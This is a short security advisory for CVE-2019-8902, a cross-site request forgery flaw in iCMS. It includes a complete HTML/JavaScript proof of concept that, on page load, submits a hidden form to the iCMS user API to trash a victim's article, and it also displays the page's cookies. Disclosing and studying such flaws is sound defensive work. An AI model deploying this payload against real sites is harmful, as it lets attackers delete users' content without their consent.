#VU21270 Cross-site request forgery in iCMS - CVE-2019-8902
Published: September 23, 2019
iCMS
iCMS
Description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin. A remote authenticated attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete users' articles via the "public/api.php?app=user" URI.
PoC:
<html>
<body>
<script type="text/javascript">
var x = document.cookie;
alert(x);
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='id' value='1'>";
fields += "<input type='hidden' name='act' value='trash'>";
fields += "<input type='hidden' name='pg' value='article'>";
fields += "<input type='hidden' name='action' value='manage'>";
var url = "http://localhost/iCMS-7.0/public/api.php?app=user";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body>
</html>